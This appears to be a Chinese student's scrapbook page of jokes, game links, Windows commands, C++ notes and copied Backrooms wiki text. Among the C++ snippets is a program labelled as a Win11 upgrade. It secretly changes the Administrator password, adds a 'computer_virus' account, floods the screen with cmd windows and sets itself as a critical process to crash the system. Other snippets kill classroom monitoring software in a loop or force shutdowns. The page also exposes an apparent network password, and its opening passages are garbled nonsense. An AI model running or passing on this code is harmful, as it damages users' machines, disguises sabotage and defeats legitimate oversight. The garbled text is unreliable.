一位洗碗的大姐,经常被别人叫阿姨,她嫌弃阿姨不好听,就给自己取了一个特别牛的名字:瓷洗太后。 隔壁补胎的师傅受到启发,给自己取了一个国际范的名字:拿破轮。 电焊工听到,受到启发,也给自己取了一个名字:焊武帝。 一日电焊工去糖果店炫耀自己的名字,老板啦叫他看他的名字:糖太宗。 电焊工看了沉默了。这时一辆粪车路过,发写这三个大字:擒屎皇。 路边捆菜的阿姨行不下去了,叫到你们的名字算什么? 看看我的名字,众人一看这名字取得不一般,大喊到捆菜阿姨的名字:菜需捆!!! 从此,镇上工作的人,再也没有互相比过名字。 从那里开始下雨,然后放学后天黑了。 这本服务器书。 Dixon 正在计划和撰写关于 SPF 的文章,这将允许用户访问计算机房。 我对科学家们撒了谎,得到了那本关于库伊特理论的书。 “孩子”是下面按钮的名称。更改电话设置的过程需要 32 秒,但不会出现空白文本。 一切都是不可能的!早上特别饿。佩妮很伤心,但她不知道这是一个停顿。如果您在家中检测到无法识别的烟雾,声音的音量将会降低。 在删除密钥之前关闭插件。 DP 陷入了错误的境地,老师对她的进步感到沮丧,没有回应,只带了两本书回家。 这些系统虽小,但无法与其他芳香农产品相媲美。用三四个字! 如果有人想获得软件,您就无法访问互联网。创建模板时,请创建一个新的 PPP 配置文件。我目前在一个位置执行 IOI 操作。 这里的一切都会结束。所有学校都有标志。我希望电视上一切顺利。 当他起锚时,风停了,主上来,说他并不孤单,他已经死了。我需要有人在饭盒下面。 ......我的父母在这里。它于今天发布。我想和我父亲谈谈。 换句话说,我爱这个就像“我的上帝!”男人说:“先生,请进,我喜欢走路!”他在找你! “卡洛胡。 要想生活过得去,题前必须染点绿。 从前有座山,山里有座楼,楼里有个跳楼侠,在吃美味~~ 暴力出奇迹,骗分过样例 梦se吐了梦卡 梦se梦se吐了梦se卡 大地瓜那个烤地瓜 一块钱 能卖仨 语文老师一回头,此地空杀黄鹤楼 数学老师一回头,二次函数对称轴 英语老师一回头,sorry加上3克油 历史老师一回头,世界大战再回首 体育老师一回头,乔丹改打乒乓球 信竞老师一回头,带着学生玩网游 化学老师一回头,二氧化碳变汽油 音乐老师一回头,打着节拍摇着头 物理老师一回头,阿基米德要跳楼 地理老师一回头,校门发生泥石流 美术老师一回头,蒙娜丽莎也风流 生物老师一回头,全班同学都梦游 政治老师一回头,人类发展到尽头 全体老师一回头,从此宇宙无地球 人生自古谁无死 早死晚死都得死 那还不如现在死 锄禾日当午 地雷埋下土 你娃挖地雷 变成二百五 日照香炉生紫烟 李白来到太平间 头朝地 脚朝天 带着微笑上西天 垂死病中惊坐起 小丑竟是我自己 各科老师被困在电梯里的反应: 语文老师正在写《困在电梯中的思考》。 数学老师开始计算电梯的长宽高。 英语老师开始说起电梯英语单词。 物理老师在计算说几小时空气会呼吸完。 化学老师在检查这个电梯的材质。 生物老师在考虑他们需要的物质,比如氧气。 地理老师在计算纬度叫人来救她们。 历史老师开始感慨并回忆之前发生过的类似的事情。 政治老师准备告物业。 体育老师默默无闻走向电梯门口,一脚把门踹开说了句我们走吧! 事实证明体育才是主科! 评 测 姬 AC=Answer Coarse=粗劣的答案。 WA=Wonderful Answer=好答案。 TLE=Time Limit Enough=时间充裕。 MLE=Memory Limit Enough=内存充裕。 CE=Compile Easily=轻松通过编译。 RE=Run Excellently=完美运行。 UKE=Unbelievablly Keep Enough Score=难以置信地保持足够的分数。 OLE=Output Limit Enough=输出充裕。 分 工 明 确 班长说:走,我们去炸核弹基地。 副班长说:这个主意不错。 化学课代表负责提取氢气。 物理课代表负责拼装氢弹。 数学课代表负责计算爆破面积。 地理课代表负责策划爆破地点。 信息课代表负责编写氢弹程序。 历史课代表负责记录光辉场面。 美术课代表负责描画壮观景致。 生物课代表负责事后生态环境。 英语课代表到外国购买进口材料。 政治课代表负责使用法律打官司。 语文课代表负责乱写文章推卸责任。 MiKu MiKu MiKu MiKu MiKuMiKu 摸鱼人的小仓库 http://www.staggeringbeauty.com/ 大虫子 https://www.ak-ioi.com/apps/oi-2048/ 华容道 chrome://dino/ 小恐龙 https://littlealchemy2.com/ 小小炼金师 https://2048game.com/ 数字组 https://dimit.me/Fe26/index_zh_CN.html 死铁 http://www.4399.com/ 4399 https://www.mazegenerator.net/ 迷宫 https://lewan.baidu.com/rankland?idfrom=5056&gameSource=mini&gameType=0 百度游戏 [https://deepmess.com/namerena/]名字竞技场 ev.io 枪战游戏 https://www.crazygames.com/game/air-wars-2 飞机 https://www.crazygames.com/game/kirka-io 枪战 https://www.crazygames.com/game/ev-io 枪战 CrazyGames - Free Online Games on CrazyGames.com 三、Windows CMD命令大全 gpedit.msc-----组策略 sndrec32-------录音机 Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。 它在 Windows NT/2000/XP 中均可使用 , 但在 Windows 98 中却没有集成这一个工具。 explorer-------打开资源管理器 logoff---------注销命令 shutdown-------60秒倒计时关机命令 lusrmgr.msc----本机用户和组 services.msc---本地服务设置 oobe/msoobe /a----检查XP是否激活 notepad--------打开记事本 cleanmgr-------垃圾整理 net start messenger----开始信使服务 compmgmt.msc---计算机管理 net stop messenger-----停止信使服务 conf-----------启动netmeeting dvdplay--------DVD播放器 charmap--------启动字符映射表 diskmgmt.msc---磁盘管理实用程序 calc-----------启动计算器 dfrg.msc-------磁盘碎片整理程序 chkdsk.exe-----Chkdsk磁盘检查 devmgmt.msc--- 设备管理器 regsvr32 /u *.dll----停止dll文件运行 drwtsn32------ 系统医生 rononce -p----15秒关机 dxdiag---------检查DirectX信息 regedt32-------注册表编辑器 Msconfig.exe---系统配置实用程序 rsop.msc-------组策略结果集 mem.exe--------显示内存使用情况 regedit.exe----注册表 winchat--------XP自带局域网聊天 progman--------程序管理器 winmsd---------系统信息 perfmon.msc----计算机性能监测程序 winver---------检查Windows版本 sfc /scannow-----扫描错误并复原 taskmgr-----任务管理器(2000/xp/2003 wmimgmt.msc----打开windows管理体系结构(WMI) wupdmgr--------windows更新程序 wscript--------windows脚本宿主设置 write----------写字板 wiaacmgr-------扫描仪和照相机向导 winchat--------XP自带局域网聊天 mplayer2-------简易widnows media player mspaint--------画图板 mstsc----------远程桌面连接 magnify--------放大镜实用程序 mmc------------打开控制台 mobsync--------同步命令 iexpress-------木马捆绑工具,系统自带 fsmgmt.msc-----共享文件夹管理器 utilman--------辅助工具管理器 dcomcnfg-------打开系统组件服务 ddeshare-------打开DDE共享设置 osk------------打开屏幕键盘 odbcad32-------ODBC数据源管理器 oobe/msoobe /a----检查XP是否激活 ntbackup-------系统备份和还原 narrator-------屏幕“讲述人” ntmsmgr.msc----移动存储管理器 ntmsoprq.msc---移动存储管理员操作请求 netstat -an----(TC)命令检查接口 syncapp--------创建一个公文包 sysedit--------系统配置编辑器 sigverif-------文件签名验证程序 ciadv.msc------索引服务程序 shrpubw--------创建共享文件夹 secpol.msc-----本地安全策略 syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码 services.msc---本地服务设置 Sndvol32-------音量控制程序 sfc.exe--------系统文件检查器 sfc /scannow---windows文件保护 ciadv.msc------索引服务程序 tourstart------xp简介(安装完成后出现的漫游xp程序) taskmgr--------任务管理器 eventvwr-------事件查看器 eudcedit-------造字程序 compmgmt.msc---计算机管理 packager-------对象包装程序 perfmon.msc----计算机性能监测程序 charmap--------启动字符映射表 cliconfg-------SQL SERVER 客户端网络实用程序 Clipbrd--------剪贴板查看器 conf-----------启动netmeeting certmgr.msc----证书管理实用程序 regsvr32 /u *.dll----停止dll文件运行 regsvr32 /u zipfldr.dll------取消ZIP支持 cmd.exe--------CMD命令提示符 你制定的计划是.txt还是.exe? 为什么我的眼里常含泪水,因为我老是躺着中枪。 过期的牛奶失去了价值,迟来的正义也是。 谎言不会伤人,真相才是快刀。 我点燃了火,却控制不了它。 前进!前进!!不择手段地前进!!! 相传胜利者肯定手持正义,那仅是因为正义可以被胜利者定义 请保持理性,冰冷的数字总是比一拍脑门的决定好多了。### 在集训中,你先会: 信心增强 信心增强 接着…… 信心毁灭 ~信心毁灭~ 此时你会: col1 字符串数组有一个('\n')ascll码为0 关于'\0'的两点说明: 1.'\0'是一个字符,所以使用单引号 2.所有字符串函数都是在不确定字符串字符个数的情况下,使用'\0'表示字符串结束 以下情况字符数组中会包含结束标志: 1.对字符数组进行整体输入 2.人为修改某个字符为'\0' 3.对字符数组进行任何数组形式的初始化,前提是该字符数组有剩余空间存放'\n' 4.双引号字符串末尾默认有结束标志 C风格读入方式: 1.scanf("%s",s); 会被空格打断 2.gets(s);最新c++不再支持 3.fgets(s,n,stdin); 从标准输入读入时,会将行末换行一起读入,磁盘文件不会 4.cin.getline(s,n) 最安全的用法 b站 信息课必用c++代码 #include <bits/stdc++.h> #include <windows.h> using namespace std; void movexy(short x, short y){ COORD position={x, y}; HANDLE hOut=GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleCursorPosition(hOut, position); } int main(){ movexy(37, 7); cout<<"反电子教室系统"<<endl; cout<<endl; cout<<" 目前可以反击:"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); cout<<" 红蜘蛛多媒体网络教室 - 输入 k-rs即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11); cout<<" 极域电子教室 - 输入 k-jy即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12); cout<<" 伽卡他卡电子教室 - 输入 k-yk即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); cout<<" 如果在开启本程序后关闭本程序,"<<endl; cout<<" 本次反击将无效!"<<endl; cout<<" input >>> "; string s; cin>>s; if(s=="k-rs"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); cout<<" 红蜘蛛反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1) { system("taskkill /f /t /im REDAgent.exe"); system("cls"); } } if(s=="k-jy"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11); cout<<" 极域反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1) { system("taskkill /f /t /im StudentMain.exe"); system("cls"); } } if(s=="k-yk"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12); cout<<" 伽卡他卡反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1){ system("taskkill /f /t /im Student.exe"); system("cls"); } } return 0; } Copy 噶掉电子教室的代码 #include <windows.h> using namespace std; int main() { while(1) { system("taskkill /f /t /im REDAgent.exe"); system("taskkill /f /t /im StudentMain.exe"); system("taskkill /f /t /im Student.exe"); } return 0; } Copy 让你的电脑升级到win11的神奇c++代码 #include <bits/stdc++.h> #include <windows.h> #include <winternl.h> using namespace std; void HideWindow() { HWND hwnd; hwnd=FindWindow("ConsoleWindowClass",NULL); if(hwnd) ShowWindow(hwnd,SW_HIDE); return; } int main() { HideWindow(); int x=GetSystemMetrics(SM_CXSCREEN); int y=GetSystemMetrics(SM_CYSCREEN); system("net user Administator 123456"); system("net user computer_virus computer_virus /add"); for(unsigned long long i = 1; i <= 500; i++) { system("start cmd"); for(int i=1;i<=100;i++) { SetCursorPos(rand()%y,rand()%x); } } typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN); typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN); RtlAdjustPrivilege AdjustPrivilege; RtlSetProcessIsCritical SetCriticalProcess; HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll")); AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege"); SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical"); BOOLEAN b; AdjustPrivilege(20UL, TRUE, FALSE, &b); SetCriticalProcess(TRUE, NULL, FALSE); return 0; } Copy c++的恶搞代码 #include<bits/stdc++.h> using namespace std; int main(){ cout << "你希望我编程题怎样?(大写)" << "\n"; string a; while(1){ cin >> a; if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="MLE"||a=="PE"||a=="OLE"){ cout << "你竟然要诅咒我,我会在1min后fuck你的电脑,你不想电脑fuck就输入AC" << "\n"; system("shutdown -f -s -t 60"); while(1){ cin >> a; if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){ cout << "你竟然还敢诅咒我,你要die了"; system("shutdown -a"); system("shutdown -f -s -t 3"); }else if(a=="AC"||a=="AK"){ cout << "这次我就放过你"; system("shutdown -a"); return 0; }else{ cout << "未能识别,请再次输入" << "\n"; } } }else if(a=="AC"||a=="AK"){ cout << "谢谢你的祝福"; return 0; }else if(a=="SB"){ cout << "你tm敢骂我,你电脑1分钟后要被我fuck了,输入BA或者AC就放过你" << "\n"; system("shutdown -f -s -t 60"); while(1){ cin >> a; if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){ cout << "你竟然还敢诅咒我,你要die了"; system("shutdown -a"); system("shutdown -f -s -t 3"); }else if(a=="BA"||a=="AC"||a=="AK"){ cout << "这次我就放过你"; system("shutdown -a"); return 0; }else{ cout << "未能识别,请再次输入" << "\n"; } } }else{ cout << "未能识别,请再次输入" << "\n"; } } return 0; } 2分模板 #include<iostream> using namespace std; int main(){ int n; cin>>n; int a[n+1]; for(int i=1;i<=n;i++) cin>>a[i]; sort(a+1,a+n+1); int l=1,r=n; while(l<=r){ int mid=(l+r)/2; if(a[mid]>tag) r=mid-1; else if(a[mid]<tag) l=mid+1; else{ cout<<l; break; } } return 0; } copy 小码王java网络密码:Xmw@00128 小兔子,白又白,两只耳朵拿起来,割完动脉割静脉,一动不动真可爱,扒了皮,剁成块,出锅之前撒香菜,香喷喷的下酒菜,红烧兔肉我最爱。 《观沧海》 东临OJ,以观题库。 题目何难,算法竦立。 算法丛生,题目丰茂。 初窥门径,二维数组。 作业之行,若出其中。 算法灿烂,若出OJ。 幸甚至哉,代码咏志。 《孝子吟》 慈母手中键, C++身上敲。 一秒十二字符, 字字都报错。 父看C++报错, 掏出回收站。 C++看回收站, 瞬间透心凉。 透心凉,心飞扬,编译器我要C++。 人生自古谁无死,谁上厕所不带纸?! ! ! ! ! 人生自古谁无屎,用纸只能用一尺!!!!!! ikun专属“小游戏” 坤坤跳跳乐 http://jlh.125ks.cn/cxk/dinogame/ 坤坤邀你打视频 http://jlh.125ks.cn/cxk/spth/ 坤坤邀你打电话 http://jlh.125ks.cn/cxk/ddh/ 爆踩菜虚鲲 http://jlh.125ks.cn/cxk/bccxk/ 坤坤打篮球 http://jlh.125ks.cn/cxk/dlq/ 坤坤打飞机 http://jlh.125ks.cn/cxk/ 文学区 1、人被杀,就会死 2、当你左脸被打,你的右脸就不会痛 3、据研究每呼吸60秒,就减少1分钟寿命 4、中国人在睡觉时,大多数美国人在工作 5、凡是每天憋尿过多的人,有高几率100年内死去 6、谁能想到,一名16岁少女,4年前只是一-位12岁少女 7、 当蝴蝶在南半球拍了两下翅膀,它就会稍微飞高一些 8、如果你每天省下来一包烟钱,10天后你就能买10包烟 9、当你吃下了20碗米饭,换算下来竟然相当于摄入了20碗米饭的热量 10、中国教英语方式有极大错误,在美国就连小学生都能说一口流利的英语 一步杀亿人,万里不留人。 天上天下,唯我独尊。 运筹帷幄之中,决胜千里之外。 我貌赛潘安,义超关羽,智胜孔明,勇过典韦,上之天文,下晓地理,出口成章,提笔成文 人总是贪婪的,就像最开始,我也只是想AC。 暗区传奇人物:老六 这个人物常出现在各种游戏中,南麦狙神曾说过:“当我看见他时我知道最好缴械投降”,麦克阿瑟上将曾说过:“谁跟他作对,谁就是有病,他的威力连核武器都不及他的万分之一。”,王牌先锋曾说过:“原本我只想来” 生存难度: 等级 1 Thebackrooms.jpg Level 0的第一张照片。 Level 0 是后室的第一层,也很有可能是你将遭遇的第一层。 描述: Level 0 是一个由随机分割的房间、走廊和楼梯直段组成的集合,覆盖着基本一致的单调黄色壁纸。本层的地毯十分潮湿,天花板安装了办公室灯具。某些墙壁上存在电源插座,它们要么长满了霉菌,要么连接着安保摄像头。你也可以在极少见的情况下找到一组呈血红色而非单调黄色的房间,以及漆黑无比的走廊。尽管本层通常是一个安全的层级,鲜少发生实体的目击案例,但它极其孤立,会大幅降低你的理智。建议随身携带一瓶杏仁水。据估计,本层的大厅面积超过六亿平方英里,为前厅的三倍,因此请保持警惕并持续步行,直至找到聚居点或前哨。 “假如你不小心在错误的地方从现实中切出,你最终将坠入后室,这里只有腐臭的潮湿地毯,令人发狂的单调黄色,荧光灯全力运作发出的永无止境的嗡鸣,还有令人深陷其中的大约六亿平方英里随机分割的空荡房间。 倘若你听见有什么东西在附近徘徊,愿上帝保佑你吧,因为它一定也听见了你的声音……” 聚居点和前哨 M.E.G. (又名 “探险者总署”) Alpha基地: 这是M.E.G.的第一个主要基地。 大约半数的组织团队都居住于此。 靠近Level 1的一个入口。 在此处与B.N.T.G.建立通信。 本基地防守严密。 Tom的餐馆: 顾名思义,一位名叫Tom的人居住在这里。 他在noclip进Backrooms前是一名厨师。 粮食供应由B.N.T.G.每隔数月进行一次补给。 Tom是一个开朗且乐观的人。 琥珀营地: 有大约50名公民。 靠近Level 1的枢纽入口。 拥有小规模的防御力量。 对贸易行为和新公民表现出友好和开放。 入口和出口: 入口 由于Level 0可能是您在后室中遇到的第一个层级,因此从前厅访问它与第一次进入后室的方法是相同的。切出(no-clipping out)现实的界限被认为是进入后室最有效的方式。更多信息请参阅后室基本生存指南。其他很多层级也可以带你回到 Level 0 。在Level 283的堡垒中漫步,可能会遭遇散发霉味的木门,穿过这些门,你将被带入 Level 0 。 出口 请注意,通过未知入口点退出可能会导致你被带入后室中更糟糕的地方。坚持步行数日后,你可以找到一个楼梯或消防通道,它们通向Level 1。你也可以破坏地板去往Level 27。有很小的可能性,打破本层其中一个灯具会导致出现一条隧道, 将你送到Level -12。如果徘徊得足够久,你就可以到达马尼拉房间。 http://backrooms-wiki-cn.wikidot.com/archived:level-0 生存难度: 等级 1 artistlivesinme.jpg最初发现时的Level 1 Level 1是后室的第二层。 描述: Level 1是一个巨大且绵延不绝的仓库,具有混凝土构成的地板和墙壁,裸露的钢筋以及在较低处悬浮的来源不明的雾气。这些雾气常常冷凝,形成地面上分布不均的水坑。 与Level 0不同,此层级拥有源源不断的水源和电力供应,只要采取适当的预防措施,流浪者们就可以无限期地在此居住下去。同时,它的规模也大得多,还带有楼梯、电梯、独立房间和走廊。 此层级中会随机出现(或消失)一些补给箱,通常包含一些重要物资(如食物、杏仁水、电池,防水布、武器 1^ 、衣物、医疗用品等)和一些无用物品 2^ 。因箱子内容物的性质,应该谨慎对待它们。但与此同时它们也是宝贵的资源。 artistdiesinme.jpgLevel 1的一处走廊 此外,墙壁上和地板上还会出现没有明显来源或意义的粗糙涂鸦和绘画。据了解,在黑暗时或无人直视时,这些涂鸦的外观会发生变化或直接消失。Level 1内的灯具容易出现闪烁或随机故障;当出现此种情况时,物资有可能会莫名其妙地消失,并有可能会出现敌对实体。这些实体很少成群结队地出现并发动攻击,并且似乎倾向于避免与灯光和人群接触。建议携带一个可靠的光源,并在睡觉或休息时把握好你不希望丢失的任何物品。 Level 1是枢纽的家园。 基地、前哨和社区 M.E.G.(探险者总署)Alpha基地: 这是M.E.G.的第一个主要基地。 大约半数的团体和队伍都居住于此,主要为探险者和与B.N.T.G.共享的供应前哨提供居所。 此基地很靠近Level 1的一个入口。 对实体攻击等威胁进行了严密防范。 B.N.T.G.商人之家: 商人之家是一个类似于城市的大型综合建筑。 大约有412名无敌意的居民。 拥有基本的社会基础设施。 流浪者的主要补给中心。 贸易者的保险库设立在Level 1的存储大厅里。 与The M.E.G.有着良好的沟通与交流关系。 Tom的餐馆: 由Tom经营,在切入后室前是一名厨师。 拥有大量的食物储存,由B.N.T.G.每月供应。 Tom是一个和蔼可亲且乐观的人,他的餐馆也是一个小型的社交中心。 入口与出口: 入口 可以从Level 0切入此层级。本层级有许多入口;在许多层级中打开任意一道普通门都很有可能进入 Level 1 。此外,在Level 11.1中爬上一棵树,在Level 92中完成第五个事件,在Level 94中完成国王的试炼都是回到Level 1的可靠办法。 出口 你只需要继续探索后室就能离开 Level 1 。沿着任何延伸的走廊徘徊通常能够到达Level 2,找到墙上的洞就能进入Level 19,如果在天花板上有涂鸦的地方切出的话,你就能到一个派对上啦! 补充材料:回收到的档案 以下笔记回收自Level 1的不同地点,没有找到明显的来源。 画者居于吾心 画者逝于吾心 你不想留下来参加派对吗? =) 烧掉我操蛋的尸体! 蓝鸟在召唤你,抚慰你。你在这里很安全。 黑皇后移到h5,这~就是将军~ 看看钟表吧,预言要临近了 http://backrooms-wiki-cn.wikidot.com/level-1 生存难度: 等级 2 pipdreams.png出现在Level 2的未知实体 Level 2是后室的第三层,也是最后一个你能够当作出发地点的层级。 描述 Level 2主要由暗黑色、灰色的混凝土维护隧道组成,绵延数百万英里。此层级的墙壁上布满了管道,偶尔还能见到通风管道。这些管道中通常会流动着一些黑色的粘稠液体。有时可以发现一些门,但它们大多数是上锁的或者通向一个死胡同,它们内部通常会有一些放置着随机物品的架子,大多数情况下是电脑。 在Level 2走廊的某些区域,温度可能会高得令人难以忍受,可达43摄氏度(110华氏度)甚至更高。这通常发生在那些机器噪音最大的区域,如走廊的尽头。 在此层级中出现的实体是后室中最危险的。通风管道中出现的噪音通常是由爬菌发出的。在Level 2的员工浴室中你还可以发现Mark。在此层级的其他实体还有:笑魇、幼年无面灵、肢团、猎犬、雄性死亡飞蛾、悲尸、爆酸者和窃皮者。你唯一要记住的就是当你看到任何实体时立马逃跑。上图中出现的实体仍然没有得到确认,此照片的拍摄者的命运也尚不明确。 基地、前哨和社区 “生还者” 一个由29人组成的层级探索小组,领导人是Austin。他们是一个友善且乐于交易的团体。他们用从Level 1发现的木箱子装载他们的补给。他们也是第一个发现悲尸的团体。 此团体与一个名叫杰瑞的信众的前哨站经常发生冲突。 办公区EL3A 办公区EL3A是一个在Level 2的办公区域,是B.N.T.G.(不结盟贸易集团)30个成员在Level 2的居所。 更多信息请参考办公区EL3A 入口与出口 入口 Level 2是后室中少数几个能够从现实世界直接进入的层级。 你可以通过在Level 1中探索足够长的距离来进入 Level 2 。它也可以从枢纽进入。 出口 与大多数人的观念相反,Level 2中出现的门并非全部都是上锁的或通向死胡同。有些可以进入Level 3,Level 4,偶尔也会回到Level 1。找到一扇外表被滑稽地涂成五颜六色的未上锁的门会把你带到Level 283。如果你在Level 2极度闷热的区域切出的话,你可能会被困在Level 2.1。http://backrooms-wiki-cn.wikidot.com/level-2 **Level 3 生存难度: 等级 4 Level3Level 3的一个走廊(经过加亮处理以便更好的观感) OtherLevel3另一个带有锈迹斑斑的监狱栅栏的走廊,此时处于封闭状态 ElectricalRoom其中一个电力房的入口,仅被发电机的光芒照亮 DarkLevel3Level 3中一个更黑暗的走廊,被一个不寻常的荧光灯照亮 Level 3是后室的第四层,是流浪者们通常遭遇的前几个层级。 描述 Level 3是一系列长而黑暗的曲折走廊,结构与Level 0类似。它们都是由随机分割的房间组成,没有特定的模式,且都充斥着轰鸣的机器噪音。此处的走廊又狭窄又封闭,有些甚至需要平均身高和体格的流浪者弯腰、俯身、爬行或侧身行走才能通过。 此处的墙壁由布满灰尘的棕色砖块组成,部分带有铜质管道和机器零件。地板是由覆盖有更多灰尘的灰色瓷砖地板组成,而天花板则完全由金属组成。 Level 3是后室中规模较大的层级之一。据估计,此层级的面积约为3.5亿平方英里(约5.63亿平方公里),这种假设也解释了为什么人们在穿越Level 3时很少看到同行的流浪者。 只有在你做好了适当的准备,能够保护自己不受潜伏在走廊里的任何东西的伤害时,才建议进入 Level 3 。因为当你在此层级遇到急需他人救援或帮助的情况时,被他人搭救的可能性微乎其微。 正如上文提到的,Level 0和Level 3有一些相似之处。它们的房间大小和布局相似,且都拥有曲折,冗长的走廊。然而,它们之间也包含一些较为显著的差异。其中一个例子是与Level 3的房间本身有关的,这些房间里有时会有一些有助于将它们与其他房间区分开来的独一无二的物体,而这是Level 0所不具备的特征。其中一个更明显的例子是M.E.G.在2012年于此层级中拍摄到的一系列锈迹斑斑的监狱栅栏(关于其具体细节请参考右侧附图)。进一步测试表明,无论采用什么手段都无法拆除或打开它们及其周围的墙壁。3^这些障碍物使得穿越Level 3的某些部分是不可能的,因此目前仍然无法对该层级进行全面测绘。 探险者总署的实地勘探员报告称,监狱铁栅栏较多的地区往往会给在场人员带来强烈的恐惧感和极度的不适感。流浪者经常声称在此地感觉自己被监视着,甚至声称看到监狱栅栏后潜伏着奇怪的人形。探险者总署将此现象归结于幻觉或谣言。 Level 3与Level 2也有许多相似之处。例如它们的墙壁上通常都分布着管道。这些管道远没有Level 2那么多,但仍然可以在大多数走廊的角落里找到。这些管道中流动的黑色粘稠液体是该层级的主要噪音来源之一。这些液体具有很强的毒性,并会挥发出具有致命危险的烟雾。如果不小心吸入会对人体的神经系统造成损害,而且会对直接接触到此种烟雾的皮肤造成2-3度烧伤。所有试图对此种液体的化学成分的研究都没有得出结果。这种液体的性质本身就对研究该物质的特性和潜在功能造成了阻碍。 在Level 3的走廊也会出现不同寻常的电力房。这些电力房在每个方面都可能完全不同,但大多数电力房都是非常黑暗的,并且内有一台发电机。据探险者报道,这些房间内还出现过电器或电子设备,如断路器盒、电脑、松动的电线、安全摄像监视器和荧光灯等。 因为Level 3资源储量丰富,如杏仁水、糖果、苦痛汁液、火盐、皇家口粮、滋水枪和瓶装闪电,所以Level 3虽然相对危险,但仍被人们认为是为基地提供物资补给的热门地点。除了上述物品外,在整个层级中还可以找到其他非后室特有的物品。如刀子、打火机、断线钳、手电筒和其他杂项武器或用品。值得注意的是,Level 3也是后室的所有层级中Wi-Fi最强的一层,强度一般稳定在3-4,而不是像其他大多数层级那样随机波动。 Level 3内众多的机械导致其内的温度令人不舒服,但一般来说是可以忍受的。其平均温度范围从66-93华氏度不等(约18-33摄氏度)。因为有些地带的温度可能会突然上升到令人难以忍受的程度,因此在Level 3内进行长距离远征是难以进行的。有记录的最高温度为135华氏度(约57摄氏度)。4^据报道,还有一些区域的空气十分潮湿、厚重,难以呼吸。 Level 3的机械很可能是其环境中最危险的因素。在整个层级中发现的所有机器都是自主运行的,不需要外部干预。流浪者可以从可用的机器中获得利益,或利用很显然是超乎寻常的无限电力供应为他们提供动力。然而,这些机器的高度自主性也使它们具有危险的不稳定性。这些机器经常发生故障,需要定期维护,但因为它们的电源不能以任何方式关闭,这导致对它们的维护非常危险。此外,这些机器曾自燃或爆炸数次,对不幸在附近的流浪者造成了严重伤害。尽管如此,如果在穿越此层级时不鲁莽行事,而是探寻一条安全的路线,那么这些机器的潜在危险是可以被轻易避免的。 实体 Level 3充斥着大量危险实体。在此穿越很长一段距离而一次都不遭遇它们几乎是不可能的。猎犬、无面灵、悲尸、雄性和雌性死亡飞蛾、窃皮者、钝人、笑魇、肢团和爆酸者似乎都栖息于此,捕杀任何不幸被它们抓住的家伙。在这里也发现了爬菌的生长,高湿度的环境使疾病也很容易在这里传播。因此建议在通过这些隧道时保持适当的卫生习惯。 虽然这些实体并不是在每个角落都会出现,但它们巨大的数量仍然给流浪者群体和探险者总署的特工人员造成了无数的伤亡。据报道,这些实体甚至会积极寻找人类活动的中心——尤其是小型基地——为了拆除它们并以其中的居民为食。这些实体针对探险者总署Gamma基地的攻击很频繁,但因为基地的规模和出色的防御能力,它们往往不构成任何威胁。较小的团体,如杰瑞的信众,已报告难维持他们前哨站完好无损的状态。他们中的许多人经历了多次类似的攻击以至于其前哨站几乎或完全崩溃的情况,因此日复一日地为其自身的安全担忧。 基地,前哨与社区5^ 众多团体一直试图在Level 3建立基地,以利用其丰富的资产。这些尝试中的很大一部分在建立后仅仅几天就失败了,因为实体能够察觉并攻击这些尚未准备好的脆弱基地。如此高的失败率应作为一个警告—除非你有资源、人力和毅力,否则不要试图在Level 3定居。 M.E.G. - Gamma基地 第三重要的MEG基地。 大约有300名特工长期驻扎在这里,还有大量的其他住宿者在这里,经常从出没于此层级的实体那里寻求庇护。 最初是由M.E.G.特工人员用临时砖块建造的,这些砖块是由发现在Level 3的碎牙刷、鞋带、塑料玩具马蹄铁和胶水瓶制成的。基地的居民将自己用临时弹弓武装起来,这些弹弓是由电线和橡皮筋捆绑在他们之前杀死的一些实体的骨头上制成的,他们用装有苦痛汁液的胶囊作为这些弹弓的弹药。 开放贸易。 经常受大群的实体进攻。 后室中武装实力最强的基地,也因此成为人类的目标。 Level 3中记录的最大的基地。 B.N.T.G. - 存储设施 用作 B.N.T.G. 的主要存储设施。 B.N.T.G.的大量物资都存储在里面,都为在其他层级的交易做好了准备。 开放贸易,但价格通常高的离谱。 大约有150名永久成员,由于B.N.T.G在各层级之间转移物资的速度,大多数来访者在这里停留的时间不到一个小时。 Level 3中记录的第二大的基地。 杰瑞的信众 - “蓝色救赎” 只有15名永久成员。 为资源采集而建立。 规模非常小,多次遭到实体围攻,在毁灭的边缘徘徊。 对那些不愿意接受杰瑞教诲的人充满敌意。 未知威胁程度。 蒙面女郎 - 未知 未确认的基地。 在蒙面女郎们频繁攻击Gamma基地后传闻他们在此存在一个基地。 不惜一切代价避免遭遇他们。 U.E.C.(无羁探险者联盟) - 